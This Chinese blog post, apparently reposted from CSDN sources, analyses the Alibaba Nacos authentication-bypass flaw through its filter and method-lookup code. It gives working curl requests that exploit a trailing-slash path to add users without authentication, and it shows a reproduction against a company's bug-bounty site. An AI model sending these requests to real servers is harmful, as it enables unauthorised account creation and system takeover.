您的位置 首页 网络安全

某企业SRC的Alibaba Nacos 认证绕过漏洞实战

某企业SRC的Alibaba Nacos 认证绕过漏洞实战

又到了我的水文时间了,最近正好学到了一个新洞,遂写此文章记录一下。

f7514b1cb2c30b8dcf6f7c62997b8000

  • 0x00漏洞背景
  • 0x01漏洞详情
  • 0x02漏洞影响版本
  • 0x03漏洞实战复现(某企业SRC)

0x00漏洞背景

Nacos是Spring Cloud Alibaba的微服务的配置和发现的组件,目前暴露出安全漏洞,主要包括如下:
根据Nacos官方在github发布的issue,Alibaba Nacos存在一处认证绕过漏洞。由于对User-Agent字段判断规则不完善,Nacos开启鉴权后攻击者仍可以绕过鉴权访问任意http接口,从而进行访问用户列表、添加用户等任意操作,风险极大。
通过该漏洞,我可以绕过鉴权,做到:
调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。
关键词:Alibaba Nacos认证绕过任意http接口访问用户列表添加用户等任意操作

0x01漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {
    
    @Autowired
    private AuthConfigs authConfigs;
    
    @Autowired
    private AuthManager authManager;
    
    @Autowired
    private ControllerMethodsCache methodsCache;
    
    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        
        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }
        
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        
        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }
        
        try {
            
            Method method = methodsCache.getMethod(req);
            
            if (method == null) {
                chain.doFilter(request, response);
                return;
            }
            
            ...鉴权代码
            
        }
        ...
    }
    ...
}

可以看到,上面三个if else分支:

  • 第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);
  • 第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey())
    && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
    ,也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复
  • 第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);
            
if (method == null) {
    chain.doFilter(request, response);
    return;
}
 
...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

得到的path将会是/nacos/v1/auth/users

而通过特殊构造的url,比如

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is

得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆’/’,导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆’/’结尾,只有非斜杆’/’结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

0x02漏洞影响版本

  • Version<= Nacos 2.0.0-ALPHA.1
  • Version< Nacos 1.4.1

0x03漏洞实战复现(某企业SRC)

以POST形式 向创建用户的请求
/nacos/v1/auth/users?username=test&password=test
14bd3a9921d0dc1c944777fc7c0b826c
返回下列json则创建成功

{"code":200,"message":"create user ok!","data":null}

接下来再访问一下 http://xxxxxx.com:8848/nacos/v1/auth/users?pageNo=1&pageSize=999
这个接口可查看nacos系统存在的所有用户

8587156377aaa7f6da684e281e22d141可以看到这个test用户是我刚刚创建的
接着我们访问
http://xxxxx.com:8848/nacos/#/login
登录即可!

文章参考:

https://blog.csdn.net/m0_46257936/article/details/113127814
https://blog.csdn.net/u012921921/article/details/112787746

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/536/
考研勇士 LiAoRJ

作者: 考研勇士

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...
联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部